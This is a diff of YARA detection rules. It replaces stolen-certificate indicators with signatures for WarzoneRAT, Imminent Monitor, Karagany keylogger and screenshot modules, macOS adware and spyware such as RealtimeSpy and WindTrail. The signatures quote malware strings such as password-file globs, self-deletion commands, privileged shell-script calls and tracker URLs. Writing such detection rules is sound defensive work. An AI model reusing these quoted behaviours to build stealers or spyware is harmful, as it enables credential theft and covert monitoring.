 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1715-L1726"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2971-L2994"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "109d71674b652a2f42bb2a45c877d3a6cbfe280d0324f9ac8fa746d322440694"
+		logic_hash = "f959fd28e818b17c962fcd5bb99fa5ac0058f22494950e0200f139703f3e756a"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "f38abffd259919d68969b8b2d265afac503a53dd"
-		importance = 20
+
+	strings:
+		$x1 = "abuse@imminentmethods.net" ascii
+		$x2 = "Imminent-Monitor-" ascii
+		$x3 = "AddressChangeListener" fullword ascii
+		$x4 = "SevenZipHelper" fullword ascii
+		$x5 = "WrapNonExceptionThrows" fullword ascii
+		$s1 = "_ENABLE_PROFILING" wide
+		$s2 = "Anti-Virus: {0}" wide
+		$s3 = "File downloaded & executed" wide
+		$s4 = "Chat - You are speaking with" wide
+		$s5 = "\\Imminent\\Plugins" wide
+		$s6 = "\\Imminent\\Path.dat" wide
+		$s7 = "\\Imminent\\Geo.dat" wide
+		$s8 = "DisableTaskManager = {0}" wide
+		$s9 = "This client is already mining" wide
+		$s10 = "Couldn't get AV!" wide
+		$s11 = "Couldn't get FW!" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bedaabaefadfdfedcbbbebaaef" and pe.signatures[i].serial=="f2:c4:b9:94:87:ed:33:39:6d:77:02:9b:47:74:94:bc")
+		uint16(0)==0x5a4d and (4 of ($x*) or 5 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C54Cccff8Acceb9654B6F585E2442Ef7 : FILE
+rule DITEKSHEN_MALWARE_Win_Warzonerat : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects AveMaria/WarzoneRAT"
 		author = "ditekSHen"
-		id = "c199b65f-5e95-5c6a-8ccc-7f343b867885"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "4f3df696-280c-5f2b-9511-8cc7c9dff1d6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1728-L1739"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2996-L3011"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4be5e0f9f522f0d4096a63b001a02ea130ef56149dec7f0ac90be686b885cc4a"
+		logic_hash = "1af8b0f90b0de3287499082a6d6d9da6ed62a3110018e0c0f7149353693060b2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "416c79fccc5f42260cd227fd831b001aca14bf0d"
-		importance = 20
+
+	strings:
+		$s1 = "RDPClip" fullword wide
+		$s2 = "Grabber" fullword wide
+		$s3 = "Ave_Maria Stealer OpenSource" wide
+		$s4 = "\\MidgetPorn\\workspace\\MsgBox.exe" wide
+		$s5 = "@\\cmd.exe" wide
+		$s6 = "/n:%temp%\\ellocnak.xml" wide
+		$s7 = "Hey I'm Admin" wide
+		$s8 = "warzone160" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Eadbebdebcc" and pe.signatures[i].serial=="c5:4c:cc:ff:8a:cc:eb:96:54:b6:f5:85:e2:44:2e:f7")
+		uint16(0)==0x5a4d and 5 of ($s*)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_690910Dc89D7857C3500Fb74Bed2B08D : FILE
+rule DITEKSHEN_MALWARE_Win_Karaganycore : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Karagany/xFrost core plugin"
 		author = "ditekSHen"
-		id = "d10931e2-8abb-592b-a070-3767f286bd74"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c066805b-9373-5524-aff9-d16cd59f5a24"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1741-L1752"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3013-L3027"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "62a1be8435f73f3768030feb6b5917d9a8075e7abac52e654231ba9d16ccc374"
+		logic_hash = "cde96ac6477fda1312ce4f7532018c9f11df7d39c40155d10bdde0e3d84c6d57"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "dfeb986812ba9f2af6d4ff94c5d1128fa50787951c07b4088f099a5701f1a1a4"
-		importance = 20
+
+	strings:
+		$s1 = "127.0.0.1" fullword ascii
+		$s2 = "port" fullword ascii
+		$s3 = "C:\\Windows\\System32\\Kernel32.dll" fullword ascii
+		$s4 = "kernel32.dll" fullword ascii
+		$s5 = "http" ascii
+		$s6 = "Move" fullword ascii
+		$s7 = "<supportedOS Id=\"{" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OLIMP STROI" and pe.signatures[i].serial=="69:09:10:dc:89:d7:85:7c:35:00:fb:74:be:d2:b0:8d")
+		uint16(0)==0x5a4d and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_0Af9B523180F34A24Fcfd11B74E7D6Cd : FILE
+rule DITEKSHEN_MALWARE_Win_Karaganykeylogger : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Karagany/xFrost keylogger plugin"
 		author = "ditekSHen"
-		id = "d9ef3746-8b8e-5259-bcc4-408e27bc8ce3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "dd14ede0-7132-5b7f-872a-d96d5275a8e4"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1754-L1765"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3029-L3041"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e06c87bddfc4fbb8918b7b1d64ec66b810a5a0c635c34d820b33c3cf9789229c"
+		logic_hash = "7f1f5b2ca67e62380c8a8095fed4a4fd76d7bc15c9fe2d76e780ad85f886ef7b"
 		score = 75
-		quality = 75
+		quality = 23
 		tags = "FILE"
-		thumbprint = "c8aec622951068734d754dc2efd7032f9ac572e26081ac38b8ceb333ccc165c9"
-		importance = 20
+
+	strings:
+		$s1 = "__klg__" fullword wide
+		$s2 = "__klgkillsoft__" fullword wide
+		$s3 = "CLIPBOARD_PASTE" wide
+		$s4 = "%s\\k%d.txt" wide
+		$s5 = "\\Update\\Tmp" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ORBIS LTD" and pe.signatures[i].serial=="0a:f9:b5:23:18:0f:34:a2:4f:cf:d1:1b:74:e7:d6:cd")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00F4D2Def53Bccb0Dd2B7D54E4853A2Fc5 : FILE
+rule DITEKSHEN_MALWARE_Win_Karaganyscreenutil : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Karagany/xFrost ScreenUtil module"
 		author = "ditekSHen"
-		id = "8c1970b7-10b5-5976-a89c-a0d30f4b04af"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "5eab1bb9-a433-54e6-963b-4aca863dc73f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1767-L1778"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3043-L3055"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0d9813d79f86ff22d5478469bee6cf457afe3780dd4308caa5da502faf816377"
+		logic_hash = "d10230d94adfdddd604e2569ae3323efa1d5722647b9c704fceefe9446ccebd1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "d5431403ba7b026666e72c675aac6c46720583a60320c5c2c0f74331fe845c35"
-		importance = 20
+
+	strings:
+		$s1 = "__pic__" ascii wide
+		$s2 = "__pickill__" ascii wide
+		$s3 = "\\picture.png" fullword wide
+		$s4 = "%d.jpg" wide
+		$s5 = "\\Update\\Tmp" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "PETROYL GROUP, TOV" and pe.signatures[i].serial=="00:f4:d2:de:f5:3b:cc:b0:dd:2b:7d:54:e4:85:3a:2f:c5")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_56D576A062491Ea0A5877Ced418203A1 : FILE
+rule DITEKSHEN_MALWARE_Win_Karaganylistrix : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Karagany/xFrost Listrix module"
 		author = "ditekSHen"
-		id = "94e29354-b6bc-5936-abc8-2b42d2e65294"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "837cc9e7-eefb-530c-854b-51bb4444ae78"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1780-L1791"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3057-L3069"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "877b773cb1bdc6c6c309374e95dc7eac4d525c681200169fcf492476f6335342"
+		logic_hash = "02216061dbe93b7bea108f4b27c052d87c14cfe9395c6c5d4eed46ed7819e7ae"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b22e022f030cf1e760a7df84d22e78087f3ea2ed262a4b76c8b133871c58213b"
-		importance = 20
+
+	strings:
+		$s1 = "\\Update\\Tmp\\" wide
+		$s2 = "*pass*.*" fullword wide
+		$s3 = ">> NUL" wide
+		$s4 = "%02d.%02d.%04d %02d:%02d" wide
+		$s5 = "/c del" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Silvo LLC" and pe.signatures[i].serial=="56:d5:76:a0:62:49:1e:a0:a5:87:7c:ed:41:82:03:a1")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4152169F22454Ed604D03555B7Afb175 : FILE
+rule DITEKSHEN_MALWARE_Osx_Macsearch : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects MacSearch adware"
 		author = "ditekSHen"
-		id = "61286549-7561-5607-9073-2a3ee0d54a44"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "facdf05c-5ee4-54c6-9ca3-01978af2b6e6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1793-L1804"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3071-L3092"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ee965ee8b6ebbb6171e3b10a7887acf35c9ed7fcbe49b7f403190c7fb046ec63"
+		logic_hash = "973b7215fc8d04685a46d05b53b4092e7b81ed0d64d6982b534f2b89d0a59443"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE"
-		thumbprint = "a1561cacd844fcb62e9e0a8ee93620b3b7d4c3f4bd6f3d6168129136471a7fdb"
-		importance = 20
+
+	strings:
+		$s1 = "open -a safari" ascii
+		$s2 = "/INDownloader" ascii
+		$s3 = "/safefinder" ascii
+		$s4 = "/INEncryptor" ascii
+		$s5 = "/INInstallerFlow" ascii
+		$s6 = "/INConfiguration" ascii
+		$s7 = "/INChromeAndFFSetter" ascii
+		$s8 = "/INSafariSetter" ascii
+		$s9 = "/bin/launchctl" fullword ascii
+		$s10 = "/usr/bin/csrutil" fullword ascii
+		$s11 = "_Tt%cSs%zu%.*s%s" fullword ascii
+		$s12 = "_Tt%c%zu%.*s%zu%.*s%s" fullword ascii
+		$s13 = "/macap/safefinder_Obf/safefinder/" ascii
+		$s14 = "/safefinder.build/Release/macsearch.build/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SMACKTECH SOFTWARE LIMITED" and pe.signatures[i].serial=="41:52:16:9f:22:45:4e:d6:04:d0:35:55:b7:af:b1:75")
+		uint16(0)==0xfacf and 10 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_41D05676E0D31908Be4Dead3486Aeae3 : FILE
+rule DITEKSHEN_MALWARE_Osx_Genieo : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects LinqurySearch/Genieo adware"
 		author = "ditekSHen"
-		id = "d668f53b-3d1c-5fcb-9f9c-2923e63f93a9"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ac44eefd-bf1c-5d4b-bcd4-9a5d394ac1d3"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1806-L1817"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3094-L3112"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e4eb406e433b38ac127ba22040c48b510636eb55e2b524b02386710709d343b6"
+		logic_hash = "951dc8539435a52d9eea00b3fdaf98cf618c03867066819f2f9244165e57c675"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "e6e597527853ee64b45d48897e3ca4331f6cc08a88cc57ff2045923e65461598"
-		importance = 20
+		clamav_sig = "MALWARE.Osx.Trojan.Genieo"
+
+	strings:
+		$s1 = "<key>com.apple.security.get-task-allow</key>" fullword ascii
+		$s2 = "U1QQFXAfCxAfRUNCH1JZXh9" ascii
+		$s3 = "XVFTQ1VRQlNYH" ascii
+		$s4 = "dF9HXlxfUVQQVUJCX0IQHRB" ascii
+		$s5 = "Value:forHTTPHeaderField:" ascii
+		$s6 = "postContent:::" fullword ascii
+		$s7 = "postLog:" fullword ascii
+		$s8 = "initWithBase64EncodedString:options:" fullword ascii
+		$s9 = "do shell script \"%@\" with administrator privileges" fullword ascii
+		$s10 = /LinqurySearch-[a-f0-9]{40,}/
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rov SP Z O O" and pe.signatures[i].serial=="41:d0:56:76:e0:d3:19:08:be:4d:ea:d3:48:6a:ea:e3")
+		uint16(0)==0xfacf and 6 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_13C7B92282Aae782Bfb00Baf879935F4 : FILE
+rule DITEKSHEN_MALWARE_Osx_AMCPCVARK : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects OSX TechyUtils/PCVARK adware"
 		author = "ditekSHen"
-		id = "244ff442-0bce-5f9f-85ea-33fafe9a2e7b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "1378364b-db10-5194-98f8-5347504a92e6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1819-L1830"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3114-L3139"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2742fd71eb8219db7785ad46be18a906fdab0914f632dfbf531238fd551a5b65"
+		logic_hash = "b18a9f578af98feb5107d9ef85850457ba5921ab58af7b097a815e3af74f05f7"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c253cce2094c0a4ec403518d4fbf18c650e5434759bc690758cb3658b75c8baa"
-		importance = 20
+		clamav_sig = "MALWARE.Osx.Adware.AMC-PCVARK-TechyUtils"
+
+	strings:
+		$s1 = "Mac Auto Fixer.app" fullword ascii
+		$s2 = "com.techyutil.macautofixer" fullword ascii
+		$s3 = "com.findApp.findApp" ascii
+		$s4 = "Library/Preferences/%@.plist" fullword ascii
+		$s5 = "Library/%@/%@" fullword ascii
+		$s6 = "Library/Application Support/%@/%@" fullword ascii
+		$s7 = "sleep 3; rm -rf \"%@\"" fullword ascii
+		$s8 = "Silently calling url: %@" ascii
+		$cnc1 = "cloudfront.net/getdetails" ascii
+		$cnc2 = "trk.entiretrack.com/trackerwcfsrv/tracker.svc/trackOffersAccepted/?" ascii
+		$cnc3 = "pxl=%@&x-count=1&utm_source=%@&lpid=0&utm_content=&utm_term=&x-base=&utm_medium=%@&utm_publisher=%@&offerpxl=&x-fetch=1&utm_campaign=@&affiliateid=&x-at=&btnid=" ascii
+		$x1 = "mafsysinfo" fullword ascii
+		$x2 = "MAF4497_MAF4399_MAF2204" ascii
+		$developerid = "Developer ID Application: Rahul Gahlot (RZ74UYT742)" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THE WIZARD GIFT CORPORATION" and pe.signatures[i].serial=="13:c7:b9:22:82:aa:e7:82:bf:b0:0b:af:87:99:35:f4")
+		uint16(0)==0xfacf and (6 of ($s*) or 2 of ($cnc*) or all of ($x*) or $developerid)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D627F1000D12485995514Bfbdefc55D9 : FILE
+rule DITEKSHEN_MALWARE_Osx_Realtimespy : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects macOS RealtimeSpy monitoring app"
 		author = "ditekSHen"
-		id = "dd18086c-063b-542e-915b-5bd452ee452e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "6485abf3-896c-54cd-ad84-7bd86456e47b"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1832-L1843"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3141-L3166"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9ff60a73b889c8f1df127ead90a93fbf92131cfb475d58eea1ba1569f3e99e00"
+		logic_hash = "4ef2e1b8d34962cd3eab23f401b764b38b8332233aa2ae91b218af499d8ab8ff"
 		score = 75
-		quality = 75
+		quality = 57
 		tags = "FILE"
-		thumbprint = "5fac3a6484e93f62686e12de3611f7a5251009d541f65e8fe17decc780148052"
-		importance = 20
+		clamav_sig = "MALWARE.Osx.Trojan.RealtimeSpy"
+
+	strings:
+		$x1 = "SPYAGENT4HASHCIPHER" fullword ascii
+		$x2 = ":username:password:acctid:compUser:compName:" ascii
+		$x3 = ":username:password:acctid:compName:" ascii
+		$x4 = "://www.realtime-spy-mac.com/" ascii
+		$x5 = "/Users/spytech/" ascii
+		$x6 = "shell script \"touch /private/var/db/.AccessibilityAPIEnabled\" password \"pwd\" with administrator privileges" ascii
+		$x7 = "Content-Disposition: form-data; name=\"raptor_" ascii
+		$c1 = "_OBJC_CLASS_$_LocationLogger" fullword ascii
+		$c2 = "_OBJC_CLASS_$_MonitoringFunctions" fullword ascii
+		$c3 = "_OBJC_CLASS_$_ProcessLogger" fullword ascii
+		$c4 = "_OBJC_CLASS_$_RealtimeLoggingFunctions" fullword ascii
+		$c5 = "_OBJC_CLASS_$_Realtime_SpyAppDelegate" fullword ascii
+		$c6 = "_OBJC_CLASS_$_ScreenshotLogger" fullword ascii
+		$c7 = "_OBJC_CLASS_$_Uploader" fullword ascii
+		$c8 = "_OBJC_CLASS_$_UsageLogger" fullword ascii
+		$c9 = "_OBJC_CLASS_$_WebsiteLogger" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THREE D CORPORATION PTY LTD" and pe.signatures[i].serial=="00:d6:27:f1:00:0d:12:48:59:95:51:4b:fb:de:fc:55:d9")
+		uint16(0)==0xfacf and (2 of ($x*) or 2 of ($c*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_62205361A758B00572D417Cba014F007 : FILE
+rule DITEKSHEN_MALWARE_Osx_Maxofferdeal : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects macOS MaxOfferDeal adware"
 		author = "ditekSHen"
-		id = "7838c733-7212-5e86-bb3c-5dfefb727a4b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "aec4ab77-7025-5856-99fb-aa7b86413c00"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1845-L1856"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3168-L3187"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "52d67bc94e82bb9a36e969d393c395465c84ff76f89c5f8407c20e2c761000e3"
+		logic_hash = "a9788b2049ae7f345760a078b2932e79fe8fc0dd71e0446c213df64480c3e3d6"
 		score = 75
-		quality = 75
+		quality = 46
 		tags = "FILE"
-		thumbprint = "83e851e8c50f9d7299363181f2275edc194037be8cb6710762d2099e0b3f31c6"
-		importance = 20
+		clamav_sig = "MALWARE.Osx.Adware.MaxOfferDeal"
+
+	strings:
+		$s1 = "clEvE15obfuscated_data" ascii
+		$s2 = "%.*s.%.*s" fullword ascii
+		$s3 = "_Tt%cSs%zu%.*s%s" fullword ascii
+		$s4 = "_Tt%c%zu%.*s%zu%.*s%s" fullword ascii
+		$s5 = "__ZL20tFirefoxProfilesPath" ascii
+		$s6 = "__ZL22tFirefoxSearchFileName" ascii
+		$s7 = "__ZL37tFirefoxDefaultProfileFolderExtension" ascii
+		$s8 = "__ZL21tFirefoxPrefsFileName" ascii
+		$s9 = "__GLOBAL__sub_I_Firefox.mm" ascii
+		$s10 = "add_image_hook_" ascii
+		$s11 = "/Library/Caches/com.apple.xbs/Sources/arclite/arclite-66/source/" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "UNITEKH-S, OOO" and pe.signatures[i].serial=="62:20:53:61:a7:58:b0:05:72:d4:17:cb:a0:14:f0:07")
+		uint16(0)==0xfacf and all of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_566Ac16A57B132D3F64Dced14De790Ee : FILE
+rule DITEKSHEN_MALWARE_Osx_Windtrail : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects WindTrail OSX trojan"
 		author = "ditekSHen"
-		id = "05f49d36-7bf1-5bbc-b728-e1616366c15e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "abf7cd20-b37d-5d0a-8f3f-f4e491965713"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1858-L1869"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3189-L3206"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0618ce3ce0c5f8923c12a99586bbec8ec86229c7e08af75f5b0756f348d53bd5"
+		logic_hash = "291f919cb1e8c4b33960dd3f2c842b9efec04852bd5661543e3ee60bc0fc5ba6"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "2e44464a5907ac46981bebd8eed86d8deec9a4cfafdf1652c8ba68551d4443ff"
-		importance = 20
+		clamav_sig = "MALWARE.Osx.Trojan.WindTrail"
+
+	strings:
+		$s1 = "m_ComputerName_UserName" fullword ascii
+		$s2 = "m_uploadURL" fullword ascii
+		$s3 = "m_logString" fullword ascii
+		$s4 = "GenrateDeviceName" fullword ascii
+		$s5 = "open -a" fullword ascii
+		$s6 = "AESEncryptFile:toFile:usingPassphrase:error:" fullword ascii
+		$s7 = "scheduledTimerWithTimeInterval:target:selector:userInfo:repeats:" fullword ascii
+		$s8 = "_kLSSharedFileListSessionLoginItems" fullword ascii
+		$developerid = "Developer ID Application: warren portman (95RKE2AA8F)" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Unirad LLC" and pe.signatures[i].serial=="56:6a:c1:6a:57:b1:32:d3:f6:4d:ce:d1:4d:e7:90:ee")
+		uint16(0)==0xfacf and ( all of ($s*) or $developerid)
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_661Ba8F3C9D1B348413484E9A49502F7 : FILE
+rule DITEKSHEN_MALWARE_Osx_Techyutils : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects TechyUtils OSX packages"
 		author = "ditekSHen"
-		id = "75fb83a1-c493-510a-8c01-4cc699d71465"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "59fd4165-987f-5b68-9341-d78184b25a1c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1871-L1882"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3208-L3224"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "661af02d7a206f50e996caf690ded541acab8c8268df9e86744d36f7322efe5c"
+		logic_hash = "071c67cace09dd66233bd4c4dd78c32d0f39f7e38dc06ec62e09fef67762d098"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "4ca944c9b69f72be3e95f385bdbc70fc7cff4c3ebb76a365bf0ab0126b277b2d"
-		importance = 20
+		clamav_sig = "MALWARE.Osx.Trojan.TechyUtils"
+
+	strings:
+		$s1 = "__ZL58__arclite_NSMutableDictionary__" ascii
+		$s2 = "__ZL46__arclite_NSDictionary_" ascii
+		$s3 = "<key>com.apple.security.get-task-allow</key>" fullword ascii
+		$s4 = "/productprice.svc/GetCountryCode" ascii
+		$s5 = "@_pthread_mutex_lock" fullword ascii
+		$s6 = "_mh_execute_header" fullword ascii
+		$s7 = "/Users/prasoon/Documents/" ascii
+		$developerid = "Developer ID Application: Techyutils Software Private Limited (VS9Q8BRRRJ)" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Unique Digital Services Ltd." and pe.signatures[i].serial=="66:1b:a8:f3:c9:d1:b3:48:41:34:84:e9:a4:95:02:f7")
+		uint16(0)==0xfacf and ( all of ($s*) or $developerid)
 }
 import "pe"
 
